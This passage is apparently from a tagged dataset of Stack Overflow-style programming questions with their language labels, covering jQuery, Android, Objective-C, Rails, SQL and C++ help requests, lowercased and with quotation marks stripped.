      // update widget s caption                                 $caption.text(  (  + json.votes +   votes;   + json.avg +  ) );                                  // display confirmation message to the user                                 $message.text( rating saved (  + value +  ). thanks! ).stop().css( opacity   1).fadein(30);                                  // hide confirmation message after 2 sec...                                 settimeout(function(){                                     $message.fadeout(1000)                                 }  2000);                              }   json );                         }                     });                      // since the &lt;option value= 3 &gt; was selected by default  we must remove this selection from stars.                     //$( # +sid).stars( selectid   -1);                      // append caption element !after! the stars                     $caption.appendto( # +sid);                      // create element to use for confirmation messages                     $message.appendto( # +sid);             });     }); </code></pre>   can someone help me by making this code support for elements added  live  on webpage.    update: i did the following an tried but still doesnt work as expected.   <pre><code> &lt;script type= text/javascript &gt;             $(document).ready(function(){            $( body ).on( loadratings  function(){           $( form.ratedstars ).each(function(){                      var sid=$(this).attr( id );                      $( # +sid).children().not( select  #rating_title ).hide();                      // create caption element                     //alert($(this).attr( id ));                     var $caption = $( &lt;div id= caption /&gt; );                     var $message = $( &lt;div id= messages /&gt; );                      $( # +sid).stars( selectid   4);                     // create stars                     $( # +sid).stars({                         inputtype:  select                           //split: 2                          onevoteonly: true                          captionel: $caption                          //cancelshow: true                          callback: function(ui  type  value)                         {                             // display message to the user at the begining of request                             $message.text( saving... ).fadein(30);                              // send request to the server using post method                             /* note:                                  the same php script is used for the form submission when javascript is not available.                                 the only difference in script execution is the returned value.                                  for ajax call we expect an json object to be returned.                                  the json object contains additional data we can use to update other elements on the page.                                 to distinguish the ajax request in php script  check if the $_server[ http_x_requested_with ] header variable is set.                                 (see: demo4.php)                             */                              $.post( demo41.php   {rate: value}  function(json)                             {                                 // change widget s title                                 ///$( # +sid).next().text( average rating );                                 alert(json.id);                                 // select stars from  average rating  control to match the returned average rating value                                 ui.select(json.id+ _ +math.round(json.avg));                                 //ui.selectid(4);                                  // update widget s caption                                 $caption.text(  (  + json.votes +   votes;   + json.avg +  ) );                                  // display confirmation message to the user                                 $message.text( rating saved (  + value +  ). thanks! ).stop().css( opacity   1).fadein(30);                                  // hide confirmation message after 2 sec...                                 settimeout(function(){                                     $message.fadeout(1000)                                 }  2000);                              }   json );                         }                     });                      // since the &lt;option value= 3 &gt; was selected by default  we must remove this selection from stars.                     //$( # +sid).stars( selectid   -1);                      // append caption element !after! the stars                     $caption.appendto( # +sid);                      // create element to use for confirmation messages                     $message.appendto( # +sid);             });              });              $( body ).trigger( loadratings );     });   &lt;/ </code></pre>,jquery
css hover removal on tap  i have a css menu that when you hover over a <code>li</code> it shows a sub menu  example ui: <a href= http://www.screencast.com/t/jia2nvbref8v  rel= nofollow >http://www.screencast.com/t/jia2nvbref8v</a>    i added code that on a model device is would  focus  the element when you click/tap it  like: <code>$($event.target).focus();</code>    problem is  when i tap a <code>&lt;a href= \blah &gt;</code> link inside my page navigates fine but my menu stays open.  i tried retriggering the body to be the focus but no luck.  anyone got a good idea on how to accomplish this,css
request assistance with codingbat solution  i am working my way through <em>codingbat</em> <em>python</em> problems and need a bit of help with one called <code>make_pi</code>.   <blockquote>    problem statement:         return an <code>int array</code> length 3 containing the first 3 digits of pi  <code>{3  1  4}</code>.   </blockquote>   i have seen all the answers of others  which is to simply return a list of <code>[1 2 3]</code>.  however i don t think that is what the problem is trying to do.  i believe by my reading of the problem it is asking to take pi  which is a float  and then manipulate and return a list of integers only  without the decimal.  i am trying to do this with simple loops and iterations.  i know there are methods  list comprehension  etc. that can do this easily but the point of <em>codingbat</em> is to learn and since no method  etc.  are used i think there has to be a simple loop solution. i think you first turn the float into a string  then rebuild the string without the decimal and then return back a resultant int list of <code>[1 2 3]</code>. apologize for the long windedness  but i am trying to learn and could use some help.   <pre><code>def make_pi():     pi = 3.14     pilist = str(pi)  make_pi() </code></pre>,python
missing assembly reference while using natupnplib in .net 3.5  i am having trouble using the <code>natupnplib</code>. i have a piece of code that works perfectly fine while the project is running on .net 4. but  unfortunately when i try the same piece of code in .net3.5  i get some assembly reference errors while building the project.   <pre><code>upnpnatclass upnpnat = new upnpnatclass();  istaticportmappingcollection mappings = upnpnat.staticportmappingcollection; </code></pre>   and i get the following build error:   <pre><code>the type or namespace name  upnpnatclass  could not be found (are you missing a using directive or an assembly reference  </code></pre>   although i have added the reference to the natupnp library from add reference --> com    i have scoured the internet to find a solution but i was unable to find any help. i hope someone here might be able to help out.    <strong>p.s:</strong> i followed this <a href= http://pietschsoft.com/post/2009/02/05/net-framework-communicate-through-nat-router-via-upnp.aspx  rel= nofollow >article about nat router and upnp</a>    thanx &amp; regards.,c#
remove some content from data php regx  i want remove (deleted)345345 from the data file. number can be anything.   <pre><code>abc@gmail.com (deleted)395343 aab@gmail.com (deleted)2342322 </code></pre>   i want data like eg. abc@gmail.com,php
dynamically design asp.net webpage which can configured by admin users  i want to design an asp.net webpage at run-time which are configured by admin user.    means   admin user will define metadata of a webpage (they will define the number and type of controls user will see based on different condition).    once the page definitions are defined by admin users the normal users will see different view of a page based on their role.    please suggest which is the best way to address this requirement. i am using asp.net 2010.    thanks in advance,asp.net
write a function which returns the calling string value converted to lowercase without using .tolowercase  this what i have so far  but i am getting a  uncaught typeerror: cannot read property  0  of undefined  error and i can t seem to figure it out.    <pre><code>function second_function(str)                         {                             var i;                              for (i = 0; i &lt; arguments.length; i++)                             {                                 if(str.codecharat[i] &gt;= 65 || str.codecharat[i] &lt;= 90)                                 {                                     str.codecharat[i] += 32;                                 }                             }                             return str;                         } </code></pre>   i = 0 should equal to the first letter. if anyone could help it would be greatly appreciated. also i have very little to no skills in javascript so please bear with me.,javascript
rails - select all checkboxes inside a div before submitting form  i have a new batch form where user can select books from a div using the checkbox and click on a button to put them in another div which represents the selected books.    it works a bit like a listbox where user can move items between the different boxes except that here am using checkbox and div.    i have done the moving of books from one div to another using jquery.    see code below:   <pre><code>&lt;% form_for @batch do |f| %&gt; &lt;label style= width: 150px &gt;batch name:&lt;/label&gt;&lt;%= f.text_field :bat_batch_name %&gt;      &lt;div id= all_books &gt;  &lt;% @books.each do |book| %&gt; &lt;div id= book&lt;%= book.bk_oid %&gt;  bookid= &lt;%= book.bk_oid %&gt;  class= innertxt &gt;  &lt;ul&gt; &lt;li&gt;book id: &lt;%= book.bk_oid %&gt;&lt;/li&gt; &lt;li&gt;name: &lt;%= book.bk_name %&gt;&lt;/li&gt; &lt;li&gt; &lt;input type= checkbox  name= batch[book_ids][]  id= select&lt;%= book.bk_oid %&gt;   value=&lt;%= book.bk_oid %&gt; class= selectit  /&gt;  &lt;/li&gt; &lt;/ul&gt;  &lt;/div&gt; &lt;% end %&gt;   &lt;div style= width:100px; text-align:center; margin-left:20px; padding-top: 100px; width:75px; float:left; &gt; &lt;a href= javascript:void(0);  id= move_right &gt;right &amp;raquo;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt; &lt;a href= javascript:void(0);  id= move_left &gt;&amp;laquo; left&lt;/a&gt; &lt;/div&gt;   &lt;div id= selected_books &gt; &lt;/div&gt; &lt;br/&gt;&lt;br/&gt;  &lt;%= f.submit  update batch details  %&gt;   &lt;% end %&gt; </code></pre>   currently  only the selected books are saved  whether they are found in the  all_books  div or  selected_books  div.    however  i want all entries in the  selected_books  div to be submitted when saving the batch  whether their checkboxes have been checked or not. and ignore all selected entries in the  all_books  div.    in short  when saving the batch  i want to save only those books found in the  selected_books  div and ignore the rest whether their checkboxes have been checked or not.    i hope i was clear enough.    i would be really grateful if someone could point me the right direction on how to do that.    many many thanks for any suggestion provided.,ruby-on-rails
how can i get updated land longitude every 15 minute   i am new to android . i will get latitude and longitude of android device using below code but i want updated latitude and longitude every 15 minute. how can i get this  please help me .    thanks in advance.   <pre><code>@override public void oncreate(bundle savedinstancestate) {     super.oncreate(savedinstancestate);     setcontentview(r.layout.main);     latitutefield = (textview) findviewbyid(r.id.textview02);     longitudefield = (textview) findviewbyid(r.id.textview04);      // get the location manager     locationmanager = (locationmanager) getsystemservice(context.location_service);     // define the criteria how to select the locatioin provider -&gt; use     // default     criteria criteria = new criteria();     provider = locationmanager.getbestprovider(criteria  false);     location location = locationmanager.getlastknownlocation(provider);      // initialize the location fields     if (location != null) {         system.out.println( provider   + provider +   has been selected. );         int lat = (int) (location.getlatitude());         int lng = (int) (location.getlongitude());         latitutefield.settext(string.valueof(lat));         longitudefield.settext(string.valueof(lng));     } else {         latitutefield.settext( provider not available );         longitudefield.settext( provider not available );     } }  /* request updates at startup */ @override protected void onresume() {     super.onresume();     locationmanager.requestlocationupdates(provider  400  1  this); }  /* remove the locationlistener updates when activity is paused */ @override protected void onpause() {     super.onpause();     locationmanager.removeupdates(this); }  @override public void onlocationchanged(location location) {     int lat = (int) (location.getlatitude());     int lng = (int) (location.getlongitude());     latitutefield.settext(string.valueof(lat));     longitudefield.settext(string.valueof(lng)); }  @override public void onstatuschanged(string provider  int status  bundle extras) {     // todo auto-generated method stub  }  @override public void onproviderenabled(string provider) {     toast.maketext(this   enabled new provider   + provider              toast.length_short).show();  }  @override public void onproviderdisabled(string provider) {     toast.maketext(this   disenabled provider   + provider              toast.length_short).show(); } } </code></pre>,android
managing timed events that should not clash  i am new to javascript and i have been studying and playing around with event timing and the setinterval and settimeout functions. i have a simple code below that displays a greeting  good morning  after an interval of 5 seconds and  how are you doing today   after an interval 10 seconds.   <pre><code>script type= text/javascript &gt;      setinterval(function () {document.write( good morning )}  5000);       setinterval( function () {document.write( how are you doing today  )}  10000);       &lt;/script&gt; </code></pre>   the problem is after every 10 seconds  both will obviously appear at the same time and that s not the ideal situation. how would i rectify this without changing the times in the code above  some sort of way to ensure the greeting  good morning  gets the first priority.,javascript
is it possible to let system notify my app when user change system/accessibility settings font size   i want to know whenever the user changes the font size from settings. instead of checking the font size upon login  i think the best and most accurate way is to simply get notified whenever user changes the font size. i know in ios it s doable. wondering is it possible in android,android
javascript array dynimic  i have a javascript code like below   <pre><code>function createarray() {     var myarr = new object();     myarr[0] = createsubarray( apple );     myarr[1] = createsubarray( mango );     myarr[2] = createsubarray( pineapple );     myarr[3] = createsubarray( grape ); */     document.getelementbyid( a ).innerhtml = json.stringify(myarr);     return myarr; }   function createsubarray(name){     var arr = new object();     elems = document.getelementsbyname(name);     for (var i=0;i&lt;elems.length;i++){         if (elems[i].checked){             arr[name] =  elems[i].value;             arr[ price ] =  elems[i].getattribute( data-price );         }     }     return arr;  } </code></pre>   i need to change this createarray() function into dynimic but i dont know how this is possible here is my code that i have tried    <pre><code>function createarray() {     var myarr = new object();     elems = document.getelementsbytagname( input );      for (var i=0;i&lt;elems.length;i++){         var elmcheck = elems[i].getattribute( type );         //alert(elmcheck);         if (elems[i].checked)         {          alert( a radio is check  +elems[i].getattribute( name ));          myarr[i] = createsubarray(elems[i].getattribute( name ));         }     }     document.getelementbyid( a ).innerhtml = json.stringify(myarr);     return myarr; }   function createsubarray(name){     var arr = new object();     elems = document.getelementsbyname(name);     for (var i=0;i&lt;elems.length;i++){         if (elems[i].checked){             arr[name] =  elems[i].value;             arr[ price ] =  elems[i].getattribute( data-price );         }     }     return arr;  } </code></pre>   but its not working can any one help me in solving..,javascript
error message even though obligatory field is filled in  i apologise beforehand since i am very new to this and there might be a very obvious mistake in my code. i am making a survey and i need the participants to fill in the age field. i have the questions on the demographic data coded as a table and i had the code from somewhere else  am just adapting it.  i wanted the survey to look better and found a way to push the obligatory text field below the age question rather than next to it. ever since i did that i get an error message. sometimes it says  bad value for ‘age’   sometimes it says  the ‘age’ field is obligatory.  even though the age field is filled in.     this is how the bit of the (apparently erroneous) code looks like:   <pre><code>&lt;tr&gt;   &lt;td&gt;&lt;b&gt;1. how old are you &lt;/b&gt;&lt;br&gt;&lt;input name= age  type= text  size= 3    class= obligatory  /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan= 2 &gt;&lt;label class= error  for= age &gt;&lt;/label&gt;&lt;/td&gt; &lt;/tr&gt; </code></pre>   this is what it what it looked like when it still worked:   <pre><code>&lt;tr&gt;   &lt;td&gt;age:&lt;/td&gt;&lt;td&gt;&lt;input name= age  type= text  size= 2  class= obligatory  /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan= 2 &gt;&lt;label class= error  for= age &gt;&lt;/label&gt;&lt;/td&gt; &lt;/tr&gt; </code></pre>   could anyone point out to me which bit in the code exactly it is that is causing this error,html
error: incompatible type for argument 1 of qtgettimeinterval  still have problem with this part of code:   <pre><code>@interface myaccessmp3tags: nsobject {     nstimeinterval duration;     nstimeinterval currenttime; }  -(nstimeinterval) durationinseconds; -(nstimeinterval) currenttimeinseconds; -(nsdictionary *) metadata; -(nsstring *) metadatadescription; -(nsstring *) loadstatedescription;  @property (nonatomic) nstimeinterval duration; @property (nonatomic) nstimeinterval currenttime; @end    @implementation myaccessmp3tags;  @synthesize duration; @synthesize currenttime; -(nstimeinterval)durationinseconds  {      nstimeinterval dur;      qtgettimeinterval([self duration]  &amp;dur);     //error: incompatible type for argument 1 of qtgettimeinterval     return duration; }  -(nstimeinterval)currenttimeinseconds  {     nstimeinterval currtime;     qtgettimeinterval([self currenttime]  &amp;currtime);     //error: incompatible type for argument 1 of qtgettimeinterval     return currenttime; }      </code></pre>   what s wrong here,objective-c
what is the correct way to use an updatepanel to increment a value in asp.net  if you have an update panel  that displays a number in its load method  and a button as a trigger  and you make the button have an onclick method that increments the number  the update panel will not update when you click it.    this is because the update panels load method runs before the onclick method  so it draws the number on the screen before it increments it.    at the moment i get around this by using the scriptmanager to tell me which button or whatever caused the update panel to trigger  and then i use that to run the increment method before it renders  which works.    it sucks though because it renders onclick methods for buttons obselete if you want immediate feedback from them  and fills your load method with if statements.    am i missing something or is this the intended way update panels work,asp.net
is there any officially recommended way to store passwords   is there any officially recommended way to store passwords     upd it s not about server  it s about desktop. i do need to store the password to access remote web service. no hashes ;),.net
exception handling and lifecycle on android   i am trying to learn and test exceptions in android and can t seem  to get information past try/catch  thread.currentthread().setuncaughtexceptionhandler(new myexceptionhandler()) and acra.    basically i want to know what happens when an exception is thrown  does it kill only the current activity  what if my application has multiple activities and its killed in the 4th activity that is in the stack of activities  does it kill just the one      i ask mainly because i am throwing an error and its not killing the complete program but restarting it at some middle activity of the program. (i am doing this on purpose to learn more about it) i would either prefer the program dies  than restart in some bad state  but android has no kill switch (at least that i know of).    thanks    edit: if android recreates the stack  do we know how far it goes  or if it uses create  or resume  what if the previous activities in the stack needed user input,android
how to select items that belong to a model depending on a boolean in model  so i have a model :note that belongs to model :folder that takes a :folder_id. the :folder model takes a :privacy boolean that should determine whether the folder s notes can be seen by other users or not in the users#show view. so if :privacy is set to true  the folder s notes can t be seen  but they can be viewable if :privacy is set to false.    so far  i ve been able to display public :folders with the following instance variable in my user_controller:   <pre><code>@public_folders = @user.folders.where(privacy: false) </code></pre>   and i ve been able to get a :folder s notes when a :folder_id param is present with this:   <pre><code>@folder_notes = @user.notes.where(folder_id: params[:folder_id]) </code></pre>   so my question is  how can i select all :notes that belong to any :folder where the :privacy is set to false,ruby-on-rails
drawing a solid line in a uitableviewcell  i don t know anything about graphics or drawing so i assume that s why i can t figure out what to look for to solve this.    here s what i got in my uitableviewcell s drawrect   <pre><code>- (void)drawrect:(cgrect)rect {     [super drawrect:rect];     cgcontextref ctx = uigraphicsgetcurrentcontext();     cgcontextsetrgbstrokecolor(ctx  0.0  0.0  0.0  1.0);     cgcontextsetlinewidth(ctx  0.25);      for (int i = 0; i &lt; [columns count]; i++) {         cgfloat f = [((nsnumber*) [columns objectatindex:i]) floatvalue];         cgcontextmovetopoint(ctx  f  0);         cgcontextaddlinetopoint(ctx  f  self.bounds.size.height);     }     cgcontextstrokepath(ctx); } </code></pre>   i think this should be drawing a black line but the line is gray  blending with what s in the background. how can i draw a solid line that is not influenced by a background image  i ve tried all the blend mode s thinking maybe one would be like a blend mode none  because i don t want any blending  but all draw lines that blend in some way with the background.,iphone
since radio buttons cannot be unchecked  what is the purpose of them   aren t check (tick) buttons more useful     why do they exist      they seem quite unnecessary to me  can you please explain to me the purpose of radio buttons,html
show data in inputbox from 1 object and save it in using another object  i m clicking a table row to edit the fields in a modal. the modal must have 2 functionalities (add or edit) depending on the get request data like below.   <pre><code>$scope.editinterview = function(id) {     $http.get( /api/getinterview/  + id).then(function(response) {         editedobject = response.data.item } </code></pre>   html   <pre><code>    &lt;label ng-if= editedobject.email &gt;{{editedobject.email}}&lt;/label&gt;     &lt;label ng-if= !editedobject.email &gt;email&lt;/label&gt;      &lt;input ng-model= newobject.email  /&gt; </code></pre>   <a href= https://i.stack.imgur.com/uyeiz.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/uyeiz.jpg  alt= enter image description here ></a>    i am able to display the object in the <code>labels</code>  but that s not much help  because the data needs to be shown in the input boxes to be edited and saved.    <strong>how can i show the data from <code>editedobject.email</code> in the input  so i can save it using <code>newobject.email</code> </strong>     i tried <code>ng-init= editedobject.email </code>  but it doesn t work. is there some other <code>ng-something</code> that does this or i should be doing it in another way    <hr>   <strong>update:</strong>    edit and update methods  both are in the maincontroller.   <pre><code>$scope.editinterview = function(id) {     $http.get( /api/getinterview/  + id).then(function(response) {         editedobject = response.data.item     }) }  //controller for the modal function dialogcontroller($scope  $mddialog  editedobject) {      $scope.editedobject = editedobject      $scope.submitobject = function(newobject) {         $http.post( /api/interview   newobject)     } } </code></pre>,angularjs
set buttons  background randomly from array of images <pre><code>else if (setindexpath == 4) {     viewwithbuttons.frame = cgrectmake(5  40  310  390);      int ch = 6;     int cv = 6;      for ( int i = 0 ; i &lt; cv ; ++i )     {         for ( j = 0 ; j &lt; ch ; ++j )         {             btnmatrix = [[[uibutton alloc] initwithframe:cgrectmake(10+pw*j  51+ph*i  width  height)] autorelease];             btnmatrix.tag = i*ch+j;             btnmatrix.userinteractionenabled = true;             [btnmatrix addtarget:self action:@selector(changeimage:) forcontrolevents:uicontroleventtouchdown];             [btnmatrix setbackgroundimage:imgdefaultbg forstate:uicontrolstatenormal];              [viewwithbuttons addsubview:btnmatrix];              [arrbutton addobject:btnmatrix];         }     } } [self.view addsubview:viewwithbuttons]; </code></pre>   i am generating buttons dynamically according to the selected matrix  like 4 * 4  4 * 5  4 * 6  5 * 6  6 * 6 etc....    buttons are completely set as per the selected matrix from above (the code is for 6 * 6 matrix).    now i have to set random background images of these buttons.    i am not able to set this kind of dynamic buttons  background.    is there any effective way to set backgrounds dynamically in random order for each separate buttons    <pre><code>    for (intimg = 1; intimg &lt;= 15; intimg++)     {         arr_firstset = [[nsmutablearray alloc] initwithobjects:[nsstring stringwithformat:@ %d_f_2.png  intimg]  nil];     }     for (intimgset2 = 1; intimgset2 &lt;= 15; intimgset2++) {         arr_secondset = [[nsmutablearray alloc] initwithobjects:[nsstring stringwithformat:@ %d_s_2.png  intimgset2]  nil];     } </code></pre>   i am adding images in this format to the nsmutablearray.    how to pick random image from the above used arrays. i have to match both arrays images &amp; give the result on buttons. if both matches  suppose i press on one button it will display 1_f_2.png  &amp; on another button press it will display 1_s_2.png (as background)then both of these buttons will be removed from the view.    i had tried many logics to get this.    i am not getting exactly what i am interested to do on touchdown of button.    please suggest any code snippet or link or code also.    thanks in advance.,iphone
setting a nsdocumentdirectory url for recording   i am setting my url for recording with :   <pre><code>nsarray *dirpaths; nsstring *docsdir;  dirpaths = nssearchpathfordirectoriesindomains(                                                nsdocumentdirectory  nsuserdomainmask  yes); docsdir = [dirpaths objectatindex:[globals sharedglobals].foldercounter]; nsstring *soundfilepath = [docsdir                            stringbyappendingpathcomponent:@ sound1.caf ];  nsurl *soundfileurl = [nsurl fileurlwithpath:soundfilepath]; </code></pre>   when <code>[globals sharedglobals].foldercounter</code> is 0 at the start  and it works. the next time i record i do it in another index:   <pre><code>[globals sharedglobals].foldercounter=[globals sharedglobals].foldercounter+1; </code></pre>   so in the next time i am  trying to record i get error:   <pre><code>index 1 beyond bounds [0 .. 0] </code></pre>   but why cant i create a new place for recording  i want to have 4 folder 1-2-3-4 and record each time in another one.    how would i do that      thanks .,objective-c
code inside for loop working only after the loop is completed  i have a function called <strong>executeloop</strong> as   <pre><code>private void executeloop() {   for(int i=0;i&lt;10000;i++)  lable1.text=i; } </code></pre>   but the label text is not changing..at the end of the loop its showing like  10000     what to do,c#
how can i find who made a change on the scope in angular   i have an object on the scope  and someone is changing a property on it.     i can see it if i <code>$watch</code> the property  but for the life of me  i don t know who is changing it..     i searched the entire code for couple of days  and nothing comes up..     is there a way in angular to find this out  some data on the event that triggered the $watch or something like that,angularjs
why is my code breaking  (nsmutablearray issues)  the following code is breaking  returning  (lldb)  :   <pre><code>nsmutablearray *numbersarray;  numbersarray = [[nsmutablearray alloc] init];  for (int i = 0; i&lt;34; i++) {     numbersarray[i] = [nsnumber numberwithint:-1]; } int r = rand()%34;  while ([numbersarray containsobject:[nsnumber numberwithint:r]]) { //it breaks here      r = rand()%34; } </code></pre>   why would it be,objective-c
calling private methods in rails   i have two methods like this   <pre><code>def process   @type = params[:type]   process_cc(@type) end  private  def process_cc(type)   @doc = document.new(:type =&gt; type)   if @doc.save     redirect_to doc_path(@doc)   else     redirect_to root_path  :notice =&gt;  error    end end </code></pre>   i want  that when i call process_cc from process  it creates the document and redirect to the doc_path afterwards. maybe i m expecting behaviour  which rails can t handle  but the process method doesn t call the process_cc method and tries to render a template instead...    any advice on this     thanks!,ruby-on-rails
localization in iphone not working on button click  i made an app for iphone. in this user can change language on button click. but nsloalizedstring is not converting the value.    the code is   <pre><code>-(ibaction)btn1pressed:(id)sender {     secviewcontroller *sec = [[secviewcontroller alloc] initwithnibname:@ secviewcontroller  bundle:nil];     nsuserdefaults* userdefaults = [nsuserdefaults standarduserdefaults];      // nslog(@ %@   [userdefaults objectforkey:@ applelanguages ]);       languages =@ en ;       [[nsuserdefaults standarduserdefaults] setobject:languages forkey:@ applelanguages ];     [[nsuserdefaults standarduserdefaults] synchronize];          nslog(@ %@   [userdefaults objectforkey:@ applelanguages ]);      // nslog(@ %@   nslocalizedstring(@ subhash   nil));     [self.navigationcontroller pushviewcontroller:sec animated:yes]; }  -(ibaction)btn2pressed:(id)sender {     secviewcontroller *sec = [[secviewcontroller alloc] initwithnibname:@ secviewcontroller  bundle:nil];     nsuserdefaults* userdefaults = [nsuserdefaults standarduserdefaults];      // nslog(@ %@   [userdefaults objectforkey:@ applelanguages ]);       languages = @ es ;       [[nsuserdefaults standarduserdefaults] setobject:languages forkey:@ applelanguages ];     [[nsuserdefaults standarduserdefaults] synchronize];          nslog(@ %@   [userdefaults objectforkey:@ applelanguages ]);      //  nslog(@ %@   nslocalizedstring(@ subhash   nil));      [self.navigationcontroller pushviewcontroller:sec animated:yes]; }  -(ibaction)btn3pressed:(id)sender {     secviewcontroller *sec = [[secviewcontroller alloc] initwithnibname:@ secviewcontroller  bundle:nil];     nsuserdefaults* userdefaults = [nsuserdefaults standarduserdefaults];      // nslog(@ %@   [userdefaults objectforkey:@ applelanguages ]);       languages =@ ja ;       [[nsuserdefaults standarduserdefaults] setobject:languages forkey:@ applelanguages ];     [[nsuserdefaults standarduserdefaults] synchronize];          nslog(@ %@   [userdefaults objectforkey:@ applelanguages ]);      // nslog(@ %@   nslocalizedstring(@ subhash   nil));      [self.navigationcontroller pushviewcontroller:sec animated:yes]; } </code></pre>,iphone
when i download a rails open source project  how can i know which version of rails or gems is needed   when i download an open source rails project  how can i know  which version of rails or gems is needed     for example  i want to build a blog. then i do this:   <pre><code>~$ git clone git://github.com/mojombo/jekyll.git </code></pre>   that is a free open blog project. when the clone is 100% done.   <pre><code>~$ cd jekyll ~$ rake db:create  rake/rdoctask is deprecated.  use rdoc/task instead (in rdoc 2.4.2+) rake aborted! don t know how to build task  db:create  </code></pre>   so what s wrong in my rails or gem or any other  is there a problem of version,ruby-on-rails
jquery panzoom mousescroll and contain invert aren t working  i m working with panzoom  and it s supposed to work with mouse-scroll. zooming and stuff works  but i am stuck with this:    i need to make the picture stay in its box  so it won t show what is in the background.    i ve been googling days and now i m turning to you guys.   <pre><code>&lt;!doctype html&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;pannutsuumailu&lt;/title&gt; &lt;meta http-equiv= content-type  content= text/html; charset=utf-8  /&gt; &lt;style type= text/css &gt;   body { background: #f5fcff; color: #333666; }   section { text-align: center; margin: 50px 0; }   .panzoom-parent { border: 2px solid #333; }   .panzoom-parent .panzoom { border: 2px dashed #666; }   .buttons { margin: 40px 0 0; } &lt;/style&gt; &lt;script src= ../test/jquery.js &gt;&lt;/script&gt; &lt;script src= ../dist/jquery.panzoom.js &gt;&lt;/script&gt; &lt;script src= ../bower_components/jquery-mousewheel/jquery.mousewheel.js &gt;&lt;/script&gt;  &lt;/head&gt;  &lt;section id= focal &gt;   &lt;div class= panzoom-parent  width= 960  height= 1000 &gt;   &lt;div class= panzoom &gt;       &lt;img src= enocell.jpg  width= 1920  height= 1920 &gt;&lt;/img&gt;   &lt;/div&gt;   &lt;/div&gt;   &lt;script&gt;  (function() {       var $section = $( #focal );       var $panzoom = $section.find( .panzoom ).panzoom();       $panzoom.parent().on( mousewheel.focal   function( e ) {       contain:  invert         e.preventdefault();         var delta = e.delta || e.originalevent.wheeldelta;         var zoomout = delta   delta &lt; 0 : e.originalevent.deltay &gt; 0;         $panzoom.panzoom( zoom   zoomout  {            increment: 0.3            minscale: 1            maxscale: 2          });       });     })();   &lt;/script&gt; &lt;/section&gt; </code></pre>   thanks for your help!    i have made this by a sample <a href= https://github.com/timmywil/jquery.panzoom/tree/master/demo  rel= nofollow noreferrer >https://github.com/timmywil/jquery.panzoom/tree/master/demo</a> with the plugin  panzoom  (you can find it up there^)    edit: this should do it  but it doesn t for some reason work for me.    contain:  invert  -  make sure your panzoom element is bigger or same size than the parent element.   and unless i m blind  it is.,jquery
rails - can onclick work with a method as well as javascript   if i use the following line to set up an onchange action pointing to a javascript function  it seems to work.    <pre><code>&lt;% @documents.each do |document| %&gt;   &lt;td&gt;&lt; %= check_box_tag  document_ids[]   document.id  checked_flag    :onchange =&gt;   myfunction(#{document.id})    %&gt;&lt;/td&gt; </code></pre>   however  if i try to point to a def/method  it does not work as expected. it appears that the method is called as each line is displayed. i thought that the onchange/onclick only called the action if there was a change or click.    <pre><code>&lt;td&gt;&lt;%= check_box_tag  document_ids[]   document.id  checked_flag  {:onchange =&gt;  handle_checkboxes(document.id checked_flag)}   %&gt;&lt;/td&gt; </code></pre>   does ruby/rails allow you to call a method with <code>onchange/onclick</code> with a <code>checkbox_tag</code>      my goal is to build an array that i can use in a find to just show the documents that were checked.    <pre><code>def handle_checkboxes(id flag)   $doc_ids.push(id.to_s)   $test2[id] =  push    $test3 =  we arrived  end </code></pre>   if i use the <code>checkbox_tag</code> with the method the variables look like    <blockquote>    $doc_ids.inspect[ 9999999    21    22    23    24    25    26    27    28    29 ]        $test2.inspect [ initial   nil  nil  nil  nil  nil  nil  nil  nil  nil  nil  nil  nil  nil  nil  nil  nil  nil  nil  nil  nil   push    push    push    push    push    push    push    push    push ]  </blockquote>   but nothing seems to change if i click on some of the checkboxes.,ruby-on-rails
double check simple sql query - customer and orders tables  i just wanted to double check this sql query that i wrote. i want to return the top five customer first names based on the dollar amount ordered  i m using a table called  customer  and table called  orders . however  i can t remember if i need to use a  max  somewhere.... any help is appreciated!   <pre><code>select top 5 customer.customerfirstname  from customer left join orders     on customer.customerid = orders.customerid  order by orders.ordercost desc </code></pre>,sql
message.framework error  i try to add message.framework to my project frameworks directory. after that i compile my project (no additional codes) it reported that    command/developer/platforms/iphonesimulator.plateform/developer/usr/gg-4.2 failed with exit code 1    welcome any comment    thanks interdev,iphone
linking errors from static members  sorry  if this gets a little complicated. i ve taken the object and removed everything superfluous to narrow down the cause of the error. this is what s causing my error:    d3d11module.h   <pre><code>#ifndef stuff_h #define stuff_h  #include &lt;map&gt; #include &lt;string&gt; #include &lt;memory&gt;  class d3d11 { public:     class shader;     template&lt;class t&gt;     class shaderregister;      typedef std::map&lt;std::string  std::shared_ptr&lt;shader&gt;(*)()&gt; shader_create_map;  private:     static shader_create_map createmap; };  class d3d11::shader {  };  template&lt;class t&gt; std::shared_ptr&lt;d3d11::shader&gt; createshader() {return std::shared_ptr&lt;d3d11::shader&gt;(new t);}  template&lt;class t&gt; class d3d11::shaderregister { public:     shaderregister(std::string const &amp; s)     {         d3d11::createmap.insert(std::pair&lt;std::string std::shared_ptr&lt;shader&gt;(*)()&gt;(s  &amp;createshader&lt;t&gt;));     } };  #endif </code></pre>   just a real quick explanation of all this. there is a class called d3d11 that contains a couple of classes. first the shader class which classes are to be able to derive and implement  but is left blank here because it s contents have nothing to do with the problem. then i have a map of string indices  that correspond to function pointers.    the shaderregister object is to be a static private member within the derived shader classes. then just outside  the constructor is invoked so that a specified index and a pointer to createshader() is stored at that index. by doing this  invoking the index will call this templated function  returning an instance of that derived shader.    i get the linking error though  when trying to derive the shader object and createing an instance of shaderregister and trying to call it s constructor. take a look:   <pre><code>#ifndef diffuse_shader #define diffuse_shader  #include  d3d11module.h   class diffuseshader : public d3d11::shader {     static d3d11::shaderregister&lt;diffuseshader&gt; reg; };  d3d11::shaderregister&lt;diffuseshader&gt; diffuseshader::reg( diffuseshader );  #endif  </code></pre>   doing that causes a quite a painful looking link error.     <code>main.obj : error lnk2001: unresolved external symbol  private: static class std::map&lt;class std::basic_string&lt;char struct std::char_traits&lt;char&gt; class std::allocator&lt;char&gt; &gt; class std::tr1::shared_ptr&lt;class d3d11::shader&gt; (__cdecl*)(void) struct std::less&lt;class std::basic_string&lt;char struct std::char_traits&lt;char&gt; class std::allocator&lt;char&gt; &gt; &gt; class std::allocator&lt;struct std::pair&lt;class std::basic_string&lt;char struct std::char_traits&lt;char&gt; class std::allocator&lt;char&gt; &gt; const  class std::tr1::shared_ptr&lt;class 